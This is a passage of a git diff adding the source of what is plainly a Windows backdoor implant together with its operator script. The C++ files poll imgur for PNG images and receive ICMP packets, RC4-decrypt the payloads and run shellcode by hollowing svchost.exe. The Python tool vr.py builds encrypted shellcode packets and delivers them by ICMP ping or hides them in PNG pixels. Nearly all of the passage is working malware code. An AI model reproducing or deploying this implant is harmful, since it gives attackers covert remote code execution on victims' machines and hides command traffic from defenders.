send_http_request(req, url); + if (response.status == HttpOk) + { + if (imgur_process_png(ctx, (unsigned char*) response.content.c_str(), + static_cast(response.content.size()))) + http_last_timestamp = timestamp; + else + LOG_ERROR("Invalid png at %s", url.c_str()); + } + } + else + LOG_ERROR("imgur api request item does not have 'datetime' or 'cover'"); + } + } + + yield(vr_imgur_tag_query_time + Random(0, vr_imgur_tag_query_time_jitter)); + } +} +#pragma clang diagnostic pop diff --git a/src/vr/main.cpp b/src/vr/main.cpp new file mode 100644 index 0000000..dd311ec --- /dev/null +++ b/src/vr/main.cpp @@ -0,0 +1,50 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include "../shared/coroutine.h" +#include "../config.h" +#include "../shared/debug.h" +#include "../shared/win32.h" +#include "../shared/process_hollowing.h" +#include "context.h" + + +void icmp_thread(context& ctx); +void imgur_thread(context& ctx); + +int main() +{ + WSADATA wsa{}; + WSAStartup(0x0202, &wsa); + + context ctx{}; + coroutine_loop loop{}; + coroutine_loop::activate(loop); + + coro_start([&ctx]() { icmp_thread(ctx); }); + coro_start([&ctx]() { imgur_thread(ctx); }); + + coro_run(); + + WSACleanup(); +} diff --git a/src/vr/payload.cpp b/src/vr/payload.cpp new file mode 100644 index 0000000..e58533c --- /dev/null +++ b/src/vr/payload.cpp @@ -0,0 +1,110 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include +#include "../shared/debug.h" +#include "../shared/process_hollowing.h" +#include "../shared/win32.h" +#include "../shared/rc4.h" +#include "../config.h" +#include "context.h" + + +static const unsigned icmp_magic_v1 = 0xdfc14973; + +// When adding new action take care to also keep same action id in vr.py +enum icmp_action +{ + icmp_action_shellcode = 0, +}; + +#pragma pack(1) +struct vr_payload +{ + uint32_t magic; + uint32_t timestamp; + uint8_t action; +}; +#pragma pack() + +struct payload_data +{ + uint8_t* data; + unsigned len; +}; + +void shellcode_spawn(uint8_t* shellcode, unsigned len) +{ + hollow_process_startup_info info{}; + info.shellcode_len = len; + auto host = GetFolderPath(CSIDL_SYSTEM); + host.append("\\svchost.exe"); + auto pi = hollow_process(shellcode, host.c_str(), &info); + if (pi.hThread) + { + ResumeThread(pi.hThread); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } +} + +bool handle_payload(context& ctx, uint8_t* data, unsigned len) +{ + if (len < sizeof(vr_payload)) + return false; + + auto* payload = reinterpret_cast(data); + + // deobfuscate + rc4_ctx rc{}; + rc4_init(&rc, (const uint8_t*)vr_shared_key, sizeof(vr_shared_key) - 1); + rc4_xor(&rc, (uint8_t*)payload, len); + + // entire packet is in network byte order + payload->magic = ntohl(payload->magic); + payload->timestamp = ntohl(payload->timestamp); + + if (payload->magic != icmp_magic_v1) + return false; + + if (ctx.payload_last_timestamp >= payload->timestamp) + return false; + + ctx.payload_last_timestamp = payload->timestamp; + + switch (payload->action) + { + case icmp_action_shellcode: + { + auto* shellcode = data + sizeof(vr_payload); + auto shellcode_len = len - sizeof(vr_payload); + shellcode_spawn(shellcode, shellcode_len); + break; + } + default: + LOG_WARNING("Unknown icmp action %d", payload->action); + return false; + } + + return true; +} diff --git a/vr.py b/vr.py new file mode 100755 index 0000000..259ff7c --- /dev/null +++ b/vr.py @@ -0,0 +1,202 @@ +#!/usr/bin/env python +# +# MIT License +# +# Copyright (c) 2019 Rokas Kupstys +# +# Permission is hereby granted, free of charge, to any person obtaining a +# copy of this software and associated documentation files (the "Software"), +# to deal in the Software without restriction, including without limitation +# the rights to use, copy, modify, merge, publish, distribute, sublicense, +# and/or sell copies of the Software, and to permit persons to whom the +# Software is furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +# DEALINGS IN THE SOFTWARE. +# +from __future__ import print_function +import argparse +import base64 +import os +import re +import struct +import sys +import time +from script.ping import send_ping, PingError +from script.png import from_array, Reader + +magic_v1 = 0xdfc14973 + + +def rc4(data, key): + data = bytearray(data) + key = bytearray(key) + x = 0 + box = list(range(256)) + for i in range(256): + x = (x + box[i] + key[i % len(key)]) % 256 + box[i], box[x] = box[x], box[i] + x = 0 + y = 0 + for i in range(len(data)): + x = (x + 1) % 256 + y = (y + box[x]) % 256 + box[x], box[y] = box[y], box[x] + data[i] ^= box[(box[x] + box[y]) % 256] + return bytes(data) + + +def set_binary_mode(stream): + if sys.platform == 'win32': + import os + import msvcrt + msvcrt.setmode(stream.fileno(), os.O_BINARY) + + +def read_stdin(): + if sys.version_info >= (3, 0): + source = sys.stdin.buffer + else: + set_binary_mode(sys.stdin) + source = sys.stdin + return source.read() + + +def bit_stream(data): + # length + for byte in struct.pack('!H', len(data)): + for shift in range(0, 8, 2): + yield (byte >> shift) & 3 + # data + for byte in data: + for shift in range(0, 8, 2): + yield (byte >> shift) & 3 + + +def pixel_stream(pixels): + for y in range(len(pixels)): + row = pixels[y] + for x in range(len(row)): + yield x, y, row[x] + + +def read_payload(path): + if path == '-': + return read_stdin() + elif os.path.isfile(path): + return open(path, 'rb').read() + elif re.match('^[0-9a-f]+$', path, re.IGNORECASE): + if sys.version_info >= (3, 0): + return bytes.fromhex(path) + else: + return path.decode('hex') + elif re.match('^[a-z0-9+/=]+$', path, re.IGNORECASE): + return base64.b64decode(path) + + +def read_key(key): + if key is not None: + return key + + config_h = open(os.path.dirname(os.path.abspath(__file__)) + '/src/config.h').read() + return re.search(r'#define +vr_shared_key +"(.+)"', config_h).group(1) + + +def main(argv): + parser = argparse.ArgumentParser() + parser.add_argument('--key', help='Shared key') + + action = parser.add_subparsers(help='action help', dest='action') + + # Payloads + shellcode = action.add_parser('shellcode', help='Reads shellcode, formats a src packet and prints it to stdout') + shellcode.add_argument('src', help='Specify src as file path, hex string, base64 string or - to read from stdin') + + # Transports + ping = action.add_parser('ping', help='Send src using icmp ping') + ping.add_argument('target', help='Ping target') + + ping = action.add_parser('png', help='Encode src into PNG image') + ping.add_argument('inout', help='PNG image in RGB format that will be used to encode data into') + + arg_list = [] + key = None + while argv: + args = argparse.Namespace() + args, argv = parser.parse_known_args(argv, namespace=args) + if args.key: + if not key: + key = args.key + else: + print('--key specified multiple times', file=sys.stderr) + return -1 + arg_list.append(args) + + if len(arg_list) == 0: + parser.print_help() + return 0 + + payload = None + + for args in arg_list: + # Format a shellcode execution packet + if args.action == 'shellcode': + command_id = 0 + payload = struct.pack('!IIB', magic_v1, int(time.time()), command_id) + read_payload(args.payload) + payload = rc4(payload, read_key(key).encode()) + + # Send src via icmp-ping + elif args.action == 'ping': + if payload is None: + print('Please specify src first.', file=sys.stderr) + return -1 + + if len(payload) < 56: + # If packet is too short - pad it + payload += b'\0' * (56 - len(payload)) + + send_ping(args.target, payload) + print('{} bytes src sent to {}\n'.format(len(payload), args.target)) + + # Send src by encoding it into a png image + elif args.action == 'png': + width, height, pixels, meta = Reader(bytes=read_payload(args.inout)).asRGB8() + + # Each byte (8 bits) is encoded into 4 other bytes, 2 bits at the end of each byte. + # Payload needs at least 4x bytes of it's size. + # Image has 3 bytes per pixel (RGB) + if len(payload) * 4 >= width * height * 3: + print('Image is too small', file=sys.stderr) + return -1 + + pixels = list(pixels) + for b, (x, y, c) in zip(bit_stream(payload), pixel_stream(pixels)): + c &= 0b11111100 # zero-out last two bits + c |= b # encode new to bits + pixels[y][x] = c + + from_array(pixels, 'RGB').save(args.inout) + print(args.inout, 'saved') + + return 0 + + +if __name__ == '__main__': + try: + sys.exit(main(sys.argv[1:])) + except PingError: + if os.name == 'nt': + print('Ping failed.', file=sys.stderr) + else: + print('Ping failed. Did you run this with "sudo"?', file=sys.stderr) + sys.exit(-1) + except KeyboardInterrupt: + sys.exit(0)